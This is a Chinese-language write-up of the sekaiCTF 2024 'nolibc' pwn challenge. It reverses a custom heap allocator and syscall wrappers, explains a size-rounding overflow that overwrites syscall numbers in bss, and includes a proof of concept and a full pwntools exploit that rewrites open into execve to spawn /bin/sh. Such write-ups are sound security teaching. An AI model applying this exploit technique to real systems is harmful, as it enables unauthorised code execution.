sekaiCTF 2024
nolibc
程序逆向
IDA反编译之后：
全是没有符号表的函数。start函数就是主函数。然后发现一些类似于printf的函数也没有符号。
我们linux上运行程序可以确定，至少sub_1322("Welcome to String Storage!");这样的函数实现的功能就是类似于printf。
逆向函数：
__int64 __fastcall sub_1322(__int64 a1)
{
__int64 result; // rax
sub_12C8(a1);
result = dword_15004;
__asm { syscall; LINUX - }
return result;
}
因为这些函数都是出题人自己实现的。直接调用syscall实现了输出的功能
这里看汇编会更直观一点，从rax的变化和syscall指令来分析题目到底用到了什么调用。
主要关注rax是怎么被赋值的。 mov edx, cs:dword_15004中cs:dword_15004存放的是1，所以可以确定这里的调用了write系统调用。而rdi和rdx固定，所以类似于puts，逐个打印每个字符
程序的另外一大部分是实现了一个类似于malloc的内存管理程序
在start函数的开头调用了一个init函数，初始化了bss上的一段内存指针，之后在一些文件读写、输出处理的时候，会申请一段空间来进行数据保存。
之后逆向可以发现，程序开辟了bss段上0x5000--0x15000之间的内容作为heap，然后紧接着的内容中存放了：
- 作为syscall的系统调用号：0，1，2，3
- 用户是否登录的标记
- 用户登录的个数
也就是说，我们如果可以造成溢出，覆盖bss上的系统调用号，就可以调用任意syscall
之后我们正常动调看一下：
可以看到在程序偏移0x15000的位置保存了四个系统调用号
漏洞利用
当时做的时候已经从EX师傅那里确定是可以覆盖系统调用号了。
所以剩下的就很简单了。只需要思考如何能构造溢出覆盖系统调用号即可。
这个题目中，自定义的堆块在topchunk的起始位置保存了剩余堆块的大小，初始堆块的大小是0x10000
主要的漏洞点在这些位置：
add程序:
__int64 add()
{
int *v1; // [rsp+0h] [rbp-10h]
int v2; // [rsp+Ch] [rbp-4h]
if ( *(qword_15020[login_flag] + 16LL) > 2046 )
return puts("You have reached the maximum number of strings");
putstring("Enter string length: ");
v2 = atoi();
if ( v2 > 0 && v2 <= 256 )
{
putstring("Enter a string: ");
v1 = malloc(v2 + 1);
if ( !v1 )
{
puts("Failed to allocate memory");
puts(&unk_3124);
exit(&unk_3124);
}
read(v1, v2 + 1);
*(qword_15020[login_flag] + 8 * ((*(qword_15020[login_flag] + 16LL))++ + 2LL) + 8) = v1;
return puts("String added successfully!");
}
else
{
puts("Invalid length");
return puts(&unk_3124);
}
}
add程序这里可以申请0x101大小的heap
v1 = malloc(v2 + 1);
而在malloc程序中：
起始位置有这样两行程序：
if ( !size )
return 0LL;
chunk_size = (size + 15) & 0xFFFFFFF0;
将申请的chunk+15再和0xFFFFFFF0与，但是如果我们最初申请的是0x100，+1再+15，最后与一下，就导致我们可以申请0x110大小的堆块。
然后再加上程序自定义chunk头的0x10。也就是一次chunk申请我们可以最大申请0x120
这里其实就出问题了，比如程序最后分配只剩0x80的大小，然后我们在add函数中申请一个0x7f大小的堆块，程序首先会将chunksize设定为0x80，并跳过下面的malloc程序：
while ( 1 )
{
if ( !victim )
return 0LL;
if ( chunk_size <= *victim ) // 这里检测申请的chunk_size是否小于当前指向的chunk大小，小于就退出，否则victim继续指向下一个
break;
heap_p = victim;
victim = *(victim + 1);
}
if ( *victim >= (chunk_size + 16LL) )
{
next_chunk = victim + chunk_size + 16;
*next_chunk = *victim - chunk_size - 16; // 这里代表chunk头指针保存着chunk的剩余大小
*(next_chunk + 1) = *(victim + 1);
*(victim + 1) = next_chunk;
*victim = chunk_size;
}
并直接返回一个指针：
return victim + 4;，鉴于victim是一个无符号整型指针，其实也就是跳过了堆头部的0x10的内容。但是我们通过add申请了0x7f的可写内容，那么最后可以溢出0x10。
然后还没完，在执行register函数的时候：
__int64 register()
{
int *v1; // [rsp+8h] [rbp-18h]
int *password; // [rsp+10h] [rbp-10h]
int *username; // [rsp+18h] [rbp-8h]
if ( user_num > 0 )
return puts("You can only register one account!");
putstring("Username: ");
username = malloc(0x20);
if ( username )
{
read(username, 32);
if ( length(username) )
{
putstring("Password: ");
password = malloc(0x20);
if ( password )
{
read(password, 32);
if ( length(password) )
{
v1 = malloc(0x4010);
*v1 = username;
*(v1 + 1) = password;
v1[4] = 0;
qword_15020[user_num++] = v1;
return puts("User registered successfully!");
还要申请0x4020+0x30+0x30的数据，这些也都是没有被释放的。将0x10000-（0x4020+0x30+0x30），然后我们算一下剩下的内容还有多少个0x120：（0x10000-（0x4020+0x30+0x30））%120 == 40， ,（0x10000-（0x4020+0x30+0x30））/120 == 0xaa，
所以我们add需要重复0xaa次
这里我们验证一下是否可以控制系统调用号：
poc：
from ctypes import *
from pwn import *
banary = "/home/giantbranch/PWN/question/Points_race/sekaiCTF/2024/nolibc"
elf = ELF(banary)
# libc = ELF("/home/giantbranch/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc.so.6")
# libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
# libc = ELF("/home/giantbranch/PWN/tools/libc-database-master/db/libc6_2.27-3ubuntu1.6_amd64.so")
ip = '202.0.5.178'
port = 9999
local = 1
if local:
io = process(banary)
else:
io = remote(ip, port)
# remote('nolibc.chals.sekai.team',1337,ssl=True)
context(log_level = 'debug', os = 'linux', arch = 'amd64')
#context(log_level = 'debug', os = 'linux', arch = 'i386')
def dbg():
gdb.attach(io)
pause()
s = lambda data : io.send(data)
sl = lambda data : io.sendline(data)
sa = lambda text, data : io.sendafter(text, data)
sla = lambda text, data : io.sendlineafter(text, data)
r = lambda : io.recv()
ru = lambda text : io.recvuntil(text)
uu32 = lambda : u32(io.recvuntil(b"\xff")[-4:].ljust(4, b'\x00'))
uu64 = lambda : u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
iuu32 = lambda : int(io.recv(10),16)
iuu64 = lambda : int(io.recv(6),16)
uheap = lambda : u64(io.recv(6).ljust(8,b'\x00'))
lg = lambda addr : log.info(addr)
ia = lambda : io.interactive()
def login(username:bytes, password:bytes):
sla(b'Choose an option: ', b'1')
sla(b'Username: ', username)
sla(b'Password: ', password)
def register(username:bytes, password:bytes):
sla(b'Choose an option: ', b'2')
sla(b'Username: ', username)
sla(b'Password: ', password)
def add_string(length:int, string:bytes):
sla(b'Choose an option: ', b'1')
sla(b'Enter string length: ', str(length).encode())
sla(b'Enter a string: ', string)
def delete_string(index:int):
sla(b'Choose an option: ', b'2')
sla(b'delete: ', str(index).encode())
def load_file(filename:bytes):
sla(b'Choose an option: ', b'5')
sla(b'Enter the filename: ', filename)
register(b'xmcve', b'123456')
login(b'xmcve', b'123456')
# load_file(b'sh') # Speed up memory consumption
for i in range(0xaa):
add_string(0x100, str(i).encode())
add_string(0x3f, b'\0' * 0x30 + p32(111111))
dbg()
# ## Trigger Exception
# add_string(0x3f, b'\0' * 0x30 + p32(0) + p32(1)+p32(59)+p32(3)) # 15 -> sys_rt_sigreturn
# delete_string(0)
# load_file("/bin/sh")
ia()
可以看到已经可以修改了：
然后我们只需要思考：
- 改哪个系统调用号
- 如何执行execve binsh
这里我们其实可以从四个系统调用号看起，首先execve需要控制rdi，那么0和1直接排除即可。先试试能不能通过改open变成execve调用binsh
通过逆向可以知道，在调用load和save的时候都有open调用参与
所以我们试着通过load file程序，并将文件名定为/bin/sh来getshell。
最后有一个问题：
v3 = malloc(32);
if ( v3 && (read(v3, 32), length(v3)) && !cmp(v3, "flag") )
在load程序时有这样一步，先malloc并检查内容和文件名，这里如果我们直接load的话需要再malloc一个32大小的内存，显然已经没有机会了。
所以我们需要利用delete函数删除一个堆块，之后再申请即可。
exp
from ctypes import *
from pwn import *
banary = "/home/giantbranch/PWN/question/Points_race/sekaiCTF/2024/nolibc"
elf = ELF(banary)
# libc = ELF("/home/giantbranch/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc.so.6")
# libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
# libc = ELF("/home/giantbranch/PWN/tools/libc-database-master/db/libc6_2.27-3ubuntu1.6_amd64.so")
ip = '202.0.5.178'
port = 9999
local = 1
if local:
io = process(banary)
else:
io = remote(ip, port)
# remote('nolibc.chals.sekai.team',1337,ssl=True)
context(log_level = 'debug', os = 'linux', arch = 'amd64')
#context(log_level = 'debug', os = 'linux', arch = 'i386')
def dbg():
gdb.attach(io)
pause()
s = lambda data : io.send(data)
sl = lambda data : io.sendline(data)
sa = lambda text, data : io.sendafter(text, data)
sla = lambda text, data : io.sendlineafter(text, data)
r = lambda : io.recv()
ru = lambda text : io.recvuntil(text)
uu32 = lambda : u32(io.recvuntil(b"\xff")[-4:].ljust(4, b'\x00'))
uu64 = lambda : u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
iuu32 = lambda : int(io.recv(10),16)
iuu64 = lambda : int(io.recv(6),16)
uheap = lambda : u64(io.recv(6).ljust(8,b'\x00'))
lg = lambda addr : log.info(addr)
ia = lambda : io.interactive()
def login(username:bytes, password:bytes):
sla(b'Choose an option: ', b'1')
sla(b'Username: ', username)
sla(b'Password: ', password)
def register(username:bytes, password:bytes):
sla(b'Choose an option: ', b'2')
sla(b'Username: ', username)
sla(b'Password: ', password)
def add_string(length:int, string:bytes):
sla(b'Choose an option: ', b'1')
sla(b'Enter string length: ', str(length).encode())
sla(b'Enter a string: ', string)
def delete_string(index:int):
sla(b'Choose an option: ', b'2')
sla(b'delete: ', str(index).encode())
def load_file(filename:bytes):
sla(b'Choose an option: ', b'5')
sla(b'Enter the filename: ', filename)
register(b'xmcve', b'123456')
login(b'xmcve', b'123456')
for i in range(0xaa):
add_string(0x100, str(i).encode())
payload1 = b'a' * 0x30 + p32(0)+p32(1)+p32(59)
add_string(0x3c, payload1)
# dbg()
delete_string(0)
load_file("/bin/sh")
ia()